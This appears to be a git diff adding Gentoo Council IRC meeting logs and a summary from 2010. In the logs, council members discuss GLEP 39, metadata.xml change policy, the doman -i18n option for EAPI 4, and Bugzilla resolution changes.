+21:43:45 <Betelgeuse>	To stay in status quo.
+21:43:56 <dertobi123>	Calchan: i'm opposed to randomly put things up to vote just somewhen during the meeting
+21:44:02 <Calchan>	Betelgeuse, I'd agree with that but I wanted to hear his reasons, it could be intersting
+21:44:22 <scarabeus>	Betelgeuse: it is another topic, the change for the devmanual, i would say first we close this topic and then lets vote on open floor
+21:44:25 <scarabeus>	we can do that no?
+21:44:29 <scarabeus>	sorry i bit disappeared
+21:44:50 <Calchan>	dertobi123, good point, so we should think this over a bit more, and if needed put it on the agenda for net time?
+21:45:08 <solar>	correct
+21:45:12 <Calchan>	scarabeus, open floor isn't for voting
+21:45:18 <dertobi123>	Calchan: yeah ...
+21:45:23 <scarabeus>	or put it before the open floor
+21:45:23 <ulm>	Calchan: right, we shouldn't rush into such a vote. put it on the next meeting's agenda
+21:45:36 <Calchan>	scarabeus, it's to let users and devs  interact with us directly
+21:45:38 <scarabeus>	but it is 3 minutes to vote, so we can do that next month
+21:45:58 <scarabeus>	just one thing, we should really somehow punish people not obeying that rule
+21:46:09 <Betelgeuse>	scarabeus: use current process
+21:46:26 <Betelgeuse>	scarabeus: devrel will act if evidence is presented
+21:46:44 <Calchan>	scarabeus, and bugs filed, and a chance to correct behavior given
+21:46:58 <Calchan>	I'm talking yoda style more and more, I'm getting worried
+21:47:19 <scarabeus>	force use, you must stop
+21:47:27 <Calchan>	heh
+21:47:46 <scarabeus>	:D
+21:48:11 <Calchan>	ok, so does any one of us volunteer to lead that topic on mailing lists and if needed make a proposition for next time?
+21:48:31 <scarabeus>	about the devmanual change of the packages changes?
+21:48:34 <scarabeus>	yeah i will do it
+21:48:54 <Calchan>	scarabeus, thanks
+21:48:56 <scarabeus>	pachages touching
+21:48:58 <dertobi123>	you volunteering to do something and don't know what to do? :P
+21:49:05 <dertobi123>	you're
+21:49:06 <dertobi123>	*
+21:49:08 <scarabeus>	nah just making sure
+21:49:17 <dertobi123>	heh
+21:49:29 <Calchan>	anybody wwants to add something?
+21:49:39 <solar>	I'm having a hell of a time following you guys. It sounds like you got way off topic of #3. Has that ended?
+21:50:08 <Calchan>	solar, I was making sure everybody had a chance to say whatver they wanted to say
+21:50:14 <scarabeus>	solar: you want to vote about it? most of us said no :]
+21:50:18 <Calchan>	so go ahead if there's anything you want to add
+21:51:20 <leio>	I understood the question is if we want to have policies for changes in metadata.xml at all, not if we support <changespolicy> tag or file
+21:51:35 <Calchan>	leio, indeed
+21:51:48 <solar>	I've already made my basic proposal related to #3 "No useless data in metadata.xml where useless is stuff that does not help the end user in anyway. Ie internal stuff only."
+21:51:48 <Calchan>	scarabeus, ^^^
+21:51:49 -->	nirbheek|netboo (~nirbheek@gentoo/developer/nirbheek) has joined #gentoo-council
+21:51:52 <leio>	as a random comment, I see nothing wrong with territorialism
+21:52:22 <leio>	if exercised by an always available team
+21:52:23 <dertobi123>	leio: the question is not even related to metadata.xml strictly - it is more about "do we want to solve a social problem with a technical solution?"
+21:52:46 <Betelgeuse>	dertobi123: it's not purely social as I pointed out
+21:53:09 <scarabeus>	Betelgeuse: well i think the devmanual update is better than load of new xml tags
+21:53:26 <Calchan>	scarabeus, you mean devmanual or dev handbook?
+21:53:36 <scarabeus>	demanual/dev handbook
+21:53:40 <Calchan>	scarabeus, not the same
+21:53:46 <Betelgeuse>	they are two different things
+21:53:50 <dertobi123>	Betelgeuse: well, make it 95% social then - doesn't really change my pov
+21:54:27 <scarabeus>	ok dev handbook is about policies so i speak about that one :]
+21:54:33 <Betelgeuse>	The deadline might be better in CVS part of dev handbook than devmanual.
+21:54:54 <scarabeus>	yep
+21:55:00 <Betelgeuse>	http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=3&chap=2
+21:55:02 <Betelgeuse>	Maybe here
+21:55:07 -->	blueness (~hnsctq40@2001:470:1d:170:224:8cff:fe54:4052) has joined #gentoo-council
+21:55:09 <Calchan>	scarabeus, anyway don't bother about making a patch for the dev handbook yet, once we have the answer to our question it will be easy to do, let's work on the answer first, and maybe on the question too as douglas adams would say
+21:55:25 <scarabeus>	:]
+21:55:46 <Calchan>	I'm not kidding, finding out exactly what problem we are trying to solv eis essential here
+21:55:55 <scarabeus>	yes i get it
+21:56:26 <Calchan>	ok, do we leave it at that or does anybody have anything to add?
+21:57:09 <dertobi123>	no, trying to find the problem to solve ... that sums it up quite good
+21:57:32 <Calchan>	the current conclusion is scarabeus will look at the thread on ml, identify what the problem is and how we can solve it if there's anything to solve, and report back next month
+21:57:53 <Calchan>	and it's not forbidden to help him, whoever you are
+21:58:16 <Calchan>	alright, final topic then
+21:58:26 <Calchan>	4. Conclusion (10 minutes)
+21:58:31 <Calchan>	4.1 Action list. Who does what and when?
+21:58:49 <Calchan>	see above for scarabeus, and I'll work on the glep 39 thing
+21:58:56 <Calchan>	anything else?
+21:59:06 <dertobi123>	no
+21:59:22 <Calchan>	4.2 Who takes care of the summary and log for this meeting? When?
+21:59:48 <Calchan>	I can do that in the next 2 days, it's no big deal
+21:59:53 <leio>	Log I will commit within a couple hours
+21:59:57 <Calchan>	unless somebody else wnats to do it
+22:00:10 <Calchan>	leio, thanks
+22:00:22 <Calchan>	4.3 Next meeting date/time.
+22:00:35 <Calchan>	how about april 8th?
+22:00:44 <Calchan>	april 1st is risky ;o)
+22:00:47 <solar>	no
+22:00:55 <Calchan>	sorry, wrong calendar
+22:00:57 <leio>	8th seems like a Thursday ;p
+22:00:57 <Calchan>	not a monday
+22:00:58 <solar>	8th is on the Thursday. How about the 12th?
+22:01:03 <leio>	How about 5th
+22:01:10 <Calchan>	I was just testing you guys ! ;o)
+22:01:13 <ulm>	leio: easter monday ;)
+22:01:18 <solar>	is there a rush of topics for next month?
+22:01:19 <scarabeus>	5 or 19 are ok with me
+22:01:21 <scarabeus>	not 12
+22:01:23 <dertobi123>	5th is easter monday, prefer 12th ...
+22:01:28 <ulm>	12th ok for me too
+22:01:31 <leio>	I need a calendar with comments and special days or something
+22:01:32 <ulm>	or 19th
+22:01:50 <Calchan>	5th and 12th are ok with me
+22:01:54 <dertobi123>	19th might work as well
+22:02:30 <Calchan>	it seems it's one of those complicated ones, how about we settle that on the alias?
+22:02:57 <dertobi123>	just makes it even more difficult ...
+22:03:08 <Calchan>	dertobi123, not untrue
+22:03:22 <dertobi123>	what about the 19th? ok for everyone?
+22:03:39 <Calchan>	is everybody ok with the 19th?
+22:03:42 <Calchan>	I am
+22:04:03 <leio>	I am. We shouldn't make the meeting after that another 6 weeks interval then, but 4 or so.
+22:04:21 <Betelgeuse>	yes
+22:04:29 <Calchan>	leio, but some are not available on the 5th and some others on the 12th
+22:04:41 <Calchan>	leio, and as long as we have a meeting amonth we're ok
+22:05:13 <leio>	yes, I'm saying hopefully the May meeting can then happen on 17th (4 weeks after 12th April), not a longer interval again
+22:05:30 <Calchan>	ah ok, I misunderstood
+22:05:36 <dertobi123>	10th might work as well
+22:05:42 <leio>	we'll see then, all of 5th, 12th and 19th April are OK for me
+22:05:44 <dertobi123>	(10th may that is)
+22:06:17 <Calchan>	so let's tentatively settle for the 19th then, those who haven't spoken have say 48 hours to do so
+22:06:34 <Calchan>	4.4 Who will follow-up discussions and prepare the agenda for the next meeting?
+22:07:03 <ulm>	Calchan: I can prepare the agenda, unless you want to do it again ;)
+22:07:14 <Calchan>	ulm, thanks a lot
+22:07:47 <Calchan>	anything to add before open floor?
+22:08:23 <solar>	thank you
+22:08:43 <Calchan>	thanks solar
+22:08:44 <Calchan>	the floor is open then
+22:09:04 <Calchan>	vapier?
+22:09:27 <Calchan>	I'm running to the microwave, I'll be back in a couple minutes
+22:09:56 <vapier>	Calchan: you should keep the calendar up-to-date with council meetings
+22:10:04 <vapier>	i dont have anything else to add :P
+22:10:15 <scarabeus>	:D
+22:10:18 <solar>	haha. He waited all that time to repeat himself :)
+22:10:35 <leio>	no, meanwhile he watched us dance
+22:11:00 <scarabeus>	vapier: you cant do this, now i have to clean up the table with spit coffee, laughter is disaster at some points :D
+22:11:34 <Calchan>	vapier, what calender are you talking about?
+22:11:50 ---	solar has changed the topic to: Tentative Next Council meeting Apr 19th at 1900UTC, i.e. 2000CET, 1400EST, 1200MST, 1100PST.
+22:12:10 <scarabeus>	guys on web page lu_zero is still marked as slacker
+22:12:16 <scarabeus>	and elections where i was elected are missing
+22:12:21 <scarabeus>	just now spotted
+22:12:59 <leio>	scarabeus: what web page?
+22:13:06 <scarabeus>	http://www.gentoo.org/proj/en/council/
+22:13:38 <leio>	scarabeus: Oh, some weird section that has been added at some point
+22:13:42 <vapier>	Calchan: it's linked from gentoo.org frontpage
+22:13:46 <vapier>	it's on the left side
+22:13:58 <vapier>	if you dont have access, i can add you now ... just tell me your gmail account
+22:17:18 <vapier>	same for any other Gentoo dev
+22:17:38 >vapier<	mart.raudsepp
+22:20:36 <leio>	ok, anyone else for open floor speak?
+22:20:42 <Calchan>	vapier: first name . last name at gmail dot com
+22:21:10 -->	NeddySeagoon (~NeddySeag@gentoo/developer/NeddySeagoon) has joined #gentoo-council
+22:22:00 <vapier>	done
+22:22:13 <Calchan>	vapier, thanks
+22:22:41 <vapier>	there's an old recurring event on there i guess will need updating/deleting
+22:24:16 <--	Ford_Prefect has quit (Quit: Ex-Chat)
+22:25:16 <Calchan>	vapier, I'll look into that, also I'm just now think that we'll switch to summer time  and we might want to take that into account
+22:28:51 <scarabeus>	i guess we are over meeting right? i am going to disappear if none wants something from me :]
+22:29:11 <Calchan>	scarabeus, yes, thanks for your participation
+22:29:47 <scarabeus>	we should more thank you for coordination, we just do what others elected us to do (at least try best to do so) :]
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100419-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20100419-summary.txt
new file mode 100644
index 00000000..15678841
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100419-summary.txt
@@ -0,0 +1,27 @@
+Gentoo Council 2010-04-19 meeting agenda / summary:
+
+Role call:
+ all showed up.
+
+Glep 39 refresh status update
+ original ML thread at http://archives.gentoo.org/gentoo-project/msg_642482b9a9bc12e7d87fde8e6878f13c.xml
+ - no new details, just a rough intention to have it ready sometime prior to 07/10
+
+metadata.xml policy changes
+ - a discussion was had offlist (private), although no resolution came of it in this meeting
+
+Have doman use -il8n naming scheme in EAPI4.
+ - relevant bug https://bugs.gentoo.org/303919
+ - passed
+
+Bugzilla Policy for handling stablereq keywordin bugs:
+  After the maintainer has accepted that a package is good for
+  stable (by being the assignee or reporter), the preferred way to assign the bug
+  is the bug can be either assigned to the arch, or the arch can be CCed and the 
+  maintainer is the assignee.
+
+Bugzilla resolutions/keyword changes:
+ - LATER/REMIND resolutions are to be removed
+ - LATER is to be added as a keyword
+ - OBSOLETE resolution is to be added
+
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100419.txt b/xml/htdocs/proj/en/council/meeting-logs/20100419.txt
new file mode 100644
index 00000000..93afbd60
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100419.txt
@@ -0,0 +1,431 @@
+21:00:33 <ulm>	somebody logging?
+21:00:46 <leio>	I am as usual
+21:00:51 <solar>	I'm not logging
+21:00:51 <leio>	committing after meeting
+21:00:57 <solar>	thanks leio
+21:01:04 *	dertobi123 yawns
+21:01:13 <Calchan>	hi guys, I just want to warn you that I'm feeling terrible today health wise
+21:01:33 <Calchan>	and I haven't slept in 30 hours so if I stop responding you'll know I'm sleeping
+21:01:33 <solar>	don't cough on us then. But noted you are here.
+21:01:50 <Calchan>	solar, it's not that, don't worry
+21:01:57 <ulm>	Betelgeuse?
+21:02:00 <Betelgeuse>	ulm: yes
+21:02:13 <ulm>	ok, everyone is there
+21:02:13 <scarabeus>	so everyone here we can say :]
+21:02:28 <solar>	ok. well that means Calchan probably wont chair today due to his health problems.
+21:02:38 <solar>	ulm: would you be willing to chair this meeting?
+21:02:49 <Calchan>	solar, good point, thanks
+21:03:04 <ulm>	solar: can do, unless someone else wants to
+21:03:37 <solar>	any objections? if not lets get started please
+21:04:09 <ulm>	ok, I'll take the chair then
+21:04:17 <ulm>	we're at 1.4 already :)
+21:04:35 <ulm>	any remarks on the agenda?
+21:04:47 <Calchan>	no
+21:04:53 <Betelgeuse>	no
+21:05:03 <scarabeus>	nope
+21:05:44 <ulm>	none it seems
+21:05:54 <ulm>	so 2. Follow-ups from previous meeting
+21:06:21 <Calchan>	do I start?
+21:06:25 <ulm>	Calchan: you want to say something about GLEP 39?
+21:06:32 <ulm>	yes
+21:06:52 <Calchan>	I have posted the discussion topics as planned in order to gether inpu tfrom the community
+21:07:09 <Calchan>	I forgot one and maybe more will come
+21:07:52 <Calchan>	the target is to have everything dpone before the nominations for next term
+21:08:16 <Calchan>	I will work backward from there to make a planning
+21:08:39 <ulm>	ok
+21:08:44 <Calchan>	I'm a bit disappointed by the small number of reactions so far but not surprised
+21:09:14 <Calchan>	any comments from you guys about what has been done so far?
+21:09:14 <ulm>	so not much to discuss until we have more responses on the ML
+21:09:18 <Betelgeuse>	Calchan: easier to push for your own ideas :)
+21:09:18 <scarabeus>	maybe we really could inspire ourselves by debian approach, how was suggested there
+21:09:28 <scarabeus>	:]
+21:09:30 <scarabeus>	or that
+21:09:35 <solar>	I've not had a chance to read that yet.
+21:09:52 <Calchan>	scarabeus, good point, I didn't have the strength to answer that comment but yes
+21:10:04 <leio>	I'll need to work through it later this week or so too, been busy with GSoC with the time I have
+21:10:12 <scarabeus>	well their document is well written and easy to understand
+21:10:15 <Calchan>	just add any idea even from debian to the thread
+21:10:16 <scarabeus>	so we can at least base off it
+21:10:22 <dertobi123>	same as solar for me ...
+21:10:22 <Calchan>	the point of this is to brainstorm
+21:11:04 <Calchan>	that's ok, it's a long term effort anyway
+21:11:23 <scarabeus>	we should just make sure to cook it before next elections :]
+21:11:33 <Calchan>	ulm, I'm done if there are no more questions
+21:11:40 <Calchan>	scarabeus, I'll make sure of that
+21:11:51 <antarus>	can you link to the thread somewhere (summary or agenda?)
+21:12:23 <Calchan>	antarus, http://archives.gentoo.org/gentoo-project/msg_642482b9a9bc12e7d87fde8e6878f13c.xml
+21:12:34 <Calchan>	and all the depending threads
+21:12:36 <ulm>	antarus: no open floor yet ;)
+21:13:12 <ulm>	any other comments on this topic?
+21:13:16 -->	reavertm (~quassel@gentoo/developer/reavertm) has joined #gentoo-council
+21:13:36 <solar>	other then just to say thanks to Calchan for following up.
+21:13:49 <ulm>	next is "policy for changes in metadata.xml"
+21:13:52 -->	darkside_ (~darkside@gentoo/developer/darkside) has joined #gentoo-council
+21:13:56 <ulm>	scarabeus?
+21:14:13 <scarabeus>	ok, i sent fancy mail to the wrong lists as Denis properly pointed out
+21:14:24 <scarabeus>	but the reaction was slightly more than zero
+21:14:25 <Calchan>	scarabeus, sorry I was a bit harsh that day
+21:14:34 <ulm>	scarabeus: where did you send it?
+21:14:40 <scarabeus>	core and council
+21:14:43 <scarabeus>	i should've use dev
+21:14:59 <Calchan>	scarabeus, I think it should have been appraoched differently, we can discuss that after the meeting if you want
+21:15:49 <ulm>	scarabeus: can you summarise the replies, or post a pointer to them?
+21:16:20 <ulm>	or should we reiterate and postpone to next meeting?
+21:16:33 <scarabeus>	my mail addressed 2 points
+21:16:33 <scarabeus>	devrel is not reacting on qa reported issues -> that one we can say is solved
+21:16:33 <scarabeus>	users are touching ebuild they dont maintain -> here i want to say something :]
+21:16:33 <Calchan>	ulm, I'd say postpone, let's reboot that
+21:16:58 <scarabeus>	or we can postprone it, and we can discuss the policy with rest qa guys, and Calchan or any other of you guys can chip in
+21:17:09 <scarabeus>	actualy i think the policy text i wrote is quite nice
+21:17:09 <scarabeus>	http://dpaste.com/185381/
+21:17:19 <dertobi123>	do we still have some qa guys around?
+21:17:21 <scarabeus>	yet it needs some sane override mechanism, where some poeple dont mind touching
+21:17:23 <ulm>	scarabeus: and maybe resend the message to -dev ml
+21:17:56 <Calchan>	scarabeus, it looks good to me, but it's only nice if it's what devs want
+21:18:23 <scarabeus>	dertobi123: we do qa ;] even tho people mostly see the removals ;D
+21:18:32 <Betelgeuse>	scarabeus: a typo in exceptions? ws and breaking installs in same category?
+21:18:32 <ulm>	at least it's a good starting point for discussion
+21:18:41 <scarabeus>	ok i will sent one more mailie to the -dev
+21:18:54 <scarabeus>	and we see what responses we will collect till next meeting then
+21:18:55 <Betelgeuse>	ah know I got it
+21:20:01 <ulm>	can we move to the next topic?
+21:20:10 <dertobi123>	mh yeah
+21:20:12 <Calchan>	yes please
+21:20:19 <scarabeus>	move move :]
+21:20:34 <ulm>	3. "doman -i18n" option
+21:20:55 <ulm>	I hope everybody had a look at bug 303919
+21:20:57 <willikins>	ulm: https://bugs.gentoo.org/303919 "Prefer -i18n option of doman to filename language suffix"; Gentoo Hosted Projects, PMS/EAPI; NEW; billie@g.o:pms-bugs@g.o
+21:21:14 <solar>	it seems like it's been worked out, and only needs approval
+21:21:20 <ulm>	in a nutshell:
+21:21:24 <leio>	I don't get the tying to EAPI
+21:21:28 <leio>	go on
+21:21:36 <ulm>	- PMS doesn't document -i18n
+21:21:51 <ulm>	- we wnat to fix the behaviour for the next EAPI
+21:21:54 <ulm>	*want
+21:22:07 <ulm>	leio: it's a slight change of behaviour
+21:22:36 <leio>	I'm concerned about the gradual switchover. Isn't it about where the files get installed on the system, what directory, or I misunderstood completely?
+21:22:37 <ulm>	i.e. the option should be preferred to the filename language tag
+21:23:08 <ulm>	leio: right
+21:23:19 <ulm>	it's about man pages like foo.pl.1
+21:23:44 <ulm>	which are most likely about a perl script, not a page in Polish
+21:23:56 <leio>	Why with a fresh install I should get some localized man pages under one name, and others in another
+21:23:59 <ulm>	in EAPI 3 there's no way to handle that
+21:25:35 <Betelgeuse>	ulm: we could try a vote as people should be prepared, if for some reason someone doesn't understand they can abstain / vote no.
+21:25:47 <ulm>	Betelgeuse: right
+21:25:49 <Calchan>	wfm
+21:26:07 <scarabeus>	lets vote
+21:26:37 <Calchan>	I vote yes for this in eapi4
+21:26:41 <Betelgeuse>	yes
+21:26:50 <scarabeus>	i vote yes
+21:26:50 <solar>	as an english only speaker and knowing very little about i18n behaviors. I have no objections as long as those ebuilds don't die on uclibc. so yes
+21:27:03 <dertobi123>	yes
+21:27:04 <ulm>	please vote on "doman -i18n as outlined in bug 303919 should be included in EAPI 4"
+21:27:07 <willikins>	ulm: https://bugs.gentoo.org/303919 "Prefer -i18n option of doman to filename language suffix"; Gentoo Hosted Projects, PMS/EAPI; NEW; billie@g.o:pms-bugs@g.o
+21:27:12 <ulm>	I vote yes, obviously
+21:27:16 <dertobi123>	heh
+21:27:22 <Betelgeuse>	ulm: slow :)
+21:27:25 <scarabeus>	:]
+21:27:49 <ulm>	leio?
+21:27:52 <leio>	I have no objections against an extra argument possibility, so if I understand what we are voting on right, then yes
+21:28:09 <ulm>	ok, unanimous then
+21:28:25 <Betelgeuse>	ok my stuff then
+21:28:27 <Betelgeuse>	Any questions?
+21:28:28 <ulm>	next topic 4. bugzilla policy
+21:28:55 <Betelgeuse>	or clarifications rather
+21:29:00 <leio>	Does the bugzilla votes consider bugs where initially there are multiple arches involved?
+21:29:42 -->	ferringb (~ferringb@gentoo/developer/ferringb) has joined #gentoo-council
+21:29:48 <Betelgeuse>	Initially with multiple arches you CC them all.
+21:29:56 <Betelgeuse>	like currently - no change
+21:30:16 -->	billie (~billie@gentoo/developer/billie) has joined #gentoo-council
+21:30:29 <dertobi123>	guess leio's talking about when there's only a single left on a bug
+21:30:33 <leio>	yes
+21:30:39 <dertobi123>	eh, single arch*
+21:30:46 <Betelgeuse>	I didn't remember to put that on the list but we can vote on that too if everyone is ready.
+21:30:48 <leio>	I don't like things getting reassigned to that one remaining last arch then
+21:31:17 <ulm>	leio: maybe we should vote on this point separately
+21:31:20 <Betelgeuse>	let's handle this first
+21:31:32 <solar>	on 4.1 (b) seems ideal to me as it allows to most flexibility.
+21:31:35 <Betelgeuse>	if there's time at the end we can revisit
+21:32:00 <scarabeus>	i would go with b too
+21:32:08 <Betelgeuse>	Read the instructions.
+21:32:19 <dertobi123>	having worked on both ppc and hppa arch teams ... i'm for 4.1 (b) ... both ways work for me
+21:32:26 <Betelgeuse>	Let's start voting on a:
+21:32:28 <Betelgeuse>	I vote yes.
+21:32:29 <leio>	(but I think this [when one arch is left] can be a maintainer decision if to reassign or not, if we don't disallow assigning to arches for keyword/stable bugs with 4c)
+21:32:37 <solar>	err.
+21:32:45 <solar>	a) no b) yes c) no
+21:32:49 <solar>	same thing Betelgeuse
+21:32:54 <leio>	what is a?
+21:33:01 <ulm>	leio: see agenda
+21:33:06 <scarabeus>	a) no b) yes c) no
+21:33:14 <leio>	I see it as a three-way choice, not three yes/no's?
+21:33:14 <dertobi123>	b) yes, a) and c) no
+21:33:15 <ulm>	leio: The single arch in question is the assignee
+21:33:26 <Betelgeuse>	solar: that way is not the same thing
+21:33:40 <ulm>	right, it's a three-way choice :]
+21:33:42 <Betelgeuse>	solar: I only vote yes to b) if a doesn't get majority
+21:33:47 <Calchan>	Betelgeuse, we're only talking about stabilizations here right? not about adding a new ~arch keyword
+21:33:48 <ulm>	so vote on 4.1 a, b, or c as outlined in the agenda
+21:33:56 <Betelgeuse>	Calchan: keywording bugs
+21:34:06 <Betelgeuse>	Calchan: the descriptions needs to be more clear
+21:34:21 <ulm>	solar, scarabeus, dertobi123: I take this as "b" from you
+21:34:25 <Betelgeuse>	Calchan: +For example to the start.
+21:34:29 <scarabeus>	ulm: yes
+21:34:31 <dertobi123>	ulm: yeah ;)
+21:34:38 <leio>	so only about new ~arch keywords?
+21:34:39 <ulm>	I vote "b" too
+21:34:53 <Betelgeuse>	IF you guys had problems the voting method, why didn't you comment on the agenda?
+21:34:58 <Betelgeuse>	+with
+21:35:28 <leio>	the agenda says it's a choice between a, b and c as far as my english deciphers
+21:35:32 <leio>	I vote "b"
+21:35:43 <ulm>	Betelgeuse: it's a choice between 3 possibilities
+21:35:45 <solar>	he is asking for the entire lot sorta.
+21:35:51 <ulm>	Betelgeuse: you can only have one of them
+21:36:00 <Betelgeuse>	whatever I vote a
+21:36:11 <dertobi123>	guys, kiss - keep it simple and stupid ...
+21:36:16 <ulm>	Calchan: your vote?
+21:36:23 <Betelgeuse>	ulm: voting a,b,c could scatter
+21:36:35 -->	djc (~djc@gentoo/developer/djc) has joined #gentoo-council
+21:36:42 <Calchan>	ulm, b with the mention that I would like the maintainer to at least be CCed
+21:36:47 <ulm>	Betelgeuse: that's why I included a run-off vote ;)
+21:37:04 <leio>	err, ok, we are voting on STABLEREQ, right? Sorry for the confusion
+21:37:12 <Betelgeuse>	We waste more time arguing on the change than just going with the agenda says.
+21:37:20 <ulm>	Calchan: doesn't always make sense
+21:37:25 <solar>	leio: we are still on 4.1
+21:37:27 <ulm>	e.g. if the maintainer is the reporter
+21:37:31 <--	djc (~djc@gentoo/developer/djc) has left #gentoo-council
+21:37:35 <Betelgeuse>	leio: We should have same policy for all keywording bugs.
+21:37:49 <Calchan>	ulm, I think the maintainer deserves to know at least, he can then remove himsel fif he wants
+21:37:52 <ulm>	ok, I count 1 a, 6 b, 0 c
+21:37:58 <Betelgeuse>	Calchan: That was already covered in the threads.
+21:38:08 -->	NeddySeagoon (~NeddySeag@gentoo/developer/NeddySeagoon) has joined #gentoo-council
+21:38:17 <Betelgeuse>	I should have done a better job for the agenda text.
+21:38:19 <Calchan>	Betelgeuse, I just wanted to mention it in the meeting :o)
+21:38:28 <Betelgeuse>	But stuff is clear if you read the thread.
+21:38:31 <leio>	b, but if maintainer isn't the assignee, it should get CCed at first
+21:38:33 <--	Ford_Prefect has quit (Quit: Ex-Chat)
+21:38:56 <ulm>	Betelgeuse: the outcome of the vote would've been the same regardless of voting procedure
+21:39:03 <Betelgeuse>	ulm: in this case yes
+21:39:30 <Betelgeuse>	ulm: I put it there because I considered my way fastests to reach a decision.
+21:39:31 <ulm>	next is "bugzilla resolutions"
+21:39:39 <solar>	I personaly tend to think the order they are listed in the metadata.xml is how they want it assigned.
+21:39:53 <Betelgeuse>	solar: there's nothing to say it works that way
+21:40:46 -->	Zorry_N900 (~user@gentoo/developer/zorry) has joined #gentoo-council
+21:40:50 <ulm>	questions/discussion about LATER and REMIND resolutions?
+21:40:53 -->	PSYCHO___ (~scarab@gentoo/developer/scarabeus) has joined #gentoo-council
+21:40:53 ---	ChanServ gives channel operator status to PSYCHO___
+21:41:04 *	PSYCHO___ slightly disconnected
+21:41:12 <PSYCHO___>	something relevant on that vote already happened?
+21:41:21 <Betelgeuse>	Just a note that infra could take a while to implement it.
+21:41:30 <Betelgeuse>	We can still make it a policy already to not use them.
+21:41:32 <ulm>	PSYCHO___: no
+21:41:40 <PSYCHO___>	oka
+21:42:00 <solar>	4.2 Infra said it could do it around to the removal of the existing bug resolutions in the bugs-3 migration. Can add later and bosolete
+21:42:01 <dertobi123>	Betelgeuse: urm, policy won't work quite well for that
+21:42:14 <solar>	So my vote is yes
+21:42:34 <Betelgeuse>	Also note that Remove means remove for new markings.
+21:42:42 <Betelgeuse>	Not Remove from already resolved.
+21:43:21 <Betelgeuse>	I vote yes.
+21:43:25 <dertobi123>	from what robbat said in infra an hour ago, that won't be possible? (i might be wrong on that?)
+21:43:55 <solar>	<robbat2> i'll add the new RESO+keyword for now, but disabling the others is going to get RESO AFTER_BUGZILLA3
+21:44:11 <dertobi123>	ah, ok
+21:44:27 <dertobi123>	whatever, yes on all 3 proposed changes then
+21:44:57 <Calchan>	we could send an email to -dev-announce to not use them and remove them from the docs to start
+21:45:18 <Betelgeuse>	Calchan: I can also try to remember to run a periodic search and yell at people.
+21:45:21 <Calchan>	ulm, and yes on all 3 questions
+21:45:22 <PSYCHO___>	yes from me but we could wait to the bugzie 3 migration with actualy turning it on :]
+21:45:37 <Calchan>	Betelgeuse, in case you need help with the yelling you know who to ask ;o)
+21:45:37 <solar>	he might not be able to purge them w/o mass bug spam. So it may just be a hidden resolution for while
+21:46:00 <ulm>	I vote yes too
+21:46:02 <ulm>	leio?
+21:46:13 <solar>	PSYCHO___: $nick -> scarab.. please
+21:46:33 <PSYCHO___>	i cant :(
+21:46:38 <PSYCHO___>	it is still here
+21:46:39 <leio>	can the chair please spell out what we are actually voting here to avoid confusion again?
+21:46:40 <PSYCHO___>	wait a sec
+21:46:56 <leio>	are we voting on the first point of removing LATER and REMIND, or all of them right now, or what
+21:46:58 <ulm>	leio: vote on "Remove LATER and REMIND from resolutions."
+21:47:21 <ulm>	one point after the other ;)
+21:47:29 <leio>	yes, but conditionally on "Add LATER as a keyword" getting decided as a "yes" too.
+21:47:53 <ulm>	next vote: "Add LATER as a KEYWORD"
+21:47:57 <leio>	yes
+21:47:59 <Calchan>	yes
+21:48:01 <ulm>	I vote yes
+21:48:22 <Betelgeuse>	yes
+21:48:31 <dertobi123>	still yes
+21:49:16 <ulm>	5 yes, so we've a majority
+21:49:20 <ulm>	scarabeus, solar?
+21:49:29 <solar>	we already voted
+21:49:32 <solar>	both said yes
+21:49:34 <PSYCHO___>	well i can say yes on this acc
+21:49:41 <Betelgeuse>	For OBSOLETE there's some overlap with CANTFIX
+21:50:28 <scarabeus>	i vote yes for all 3
+21:50:31 <Betelgeuse>	but I still like for more accurate describing
+21:50:36 <Calchan>	Betelgeuse, but OBSOLETE can be considered a special case of CANTFIX
+21:50:43 <Calchan>	so that still works imo
+21:50:46 <solar>	yes, but that can't be avoided.
+21:50:46 <scarabeus>	now lets hope now the connection to quassel core holds :]
+21:50:55 <Betelgeuse>	Calchan: basically what I was saying
+21:51:07 <Calchan>	Betelgeuse, sorry, slow brain today
+21:52:40 <Calchan>	ulm, are we voting on OBSOLETE?
+21:52:40 <ulm>	I suggest we just vote on "Add resolution OBSOLETE". if you think it's redundant you can vote no
+21:52:49 <ulm>	Calchan: we do
+21:52:53 <Betelgeuse>	yes
+21:52:58 <leio>	I vote yes
+21:52:58 <Calchan>	ok, it's a yes from me then
+21:52:58 <dertobi123>	yes
+21:53:03 <scarabeus>	yup
+21:53:09 <ulm>	yes
+21:53:41 <solar>	yes
+21:53:57 <ulm>	all three votes unanimous then
+21:54:14 <ulm>	and we are in time :)
+21:54:24 <ulm>	5 conclusion
+21:54:35 <ulm>	5.1 action list
+21:54:35 <solar>	nearly an unanimous entire agenda
+21:55:21 <ulm>	scarabeus: you follow up on 2.2?
+21:55:42 <PSYCHO___>	yes
+21:55:47 <PSYCHO___>	i sent the text via quasell
+21:55:49 <PSYCHO___>	it will arrive
+21:55:52 <PSYCHO___>	give it some time ;D
+21:56:06 <ulm>	k
+21:56:18 <ulm>	anything else for 5.1?
+21:56:31 <Betelgeuse>	ulm: documentation needs updating
+21:56:41 <Betelgeuse>	ulm: I'll see if I can find a volunteer
+21:57:01 <scarabeus>	ok i will do my postproned item and sent the mail to the -dev as soon as i gather opinion of other qa members, and i hope there will be some constructive updates :]
+21:57:01 <scarabeus>	ok i will do my postproned item and sent the mail to the -dev as soon as i gather opinion of other qa members, and i hope there will be some constructive updates :]
+21:57:09 <scarabeus>	see it works :]
+21:57:19 <ulm>	I'll take care of "doman" for pms
+21:57:42 <Calchan>	scarabeus, make sure you gather input from all devs, not just QA
+21:58:08 <solar>	Please. I dislike putting that into policy myself.
+21:58:28 <Calchan>	scarabeus, a policy that devs don't want has no chance of being respected
+21:58:37 <solar>	cuz something bonsaikitten did. sucks to punish all devs
+21:58:57 <scarabeus>	well thats why i want simple override method
+21:59:03 <ulm>	5.2 who takes care of log and summary?
+21:59:17 <scarabeus>	and dont worry, just qa first then -dev-ml
+21:59:26 <leio>	I take care of log
+21:59:38 <Calchan>	ulm, I can take care of the summary tomorrow
+21:59:43 <scarabeus>	i guess each of us is there rite? :]
+21:59:54 <ulm>	Calchan, leio: thanks
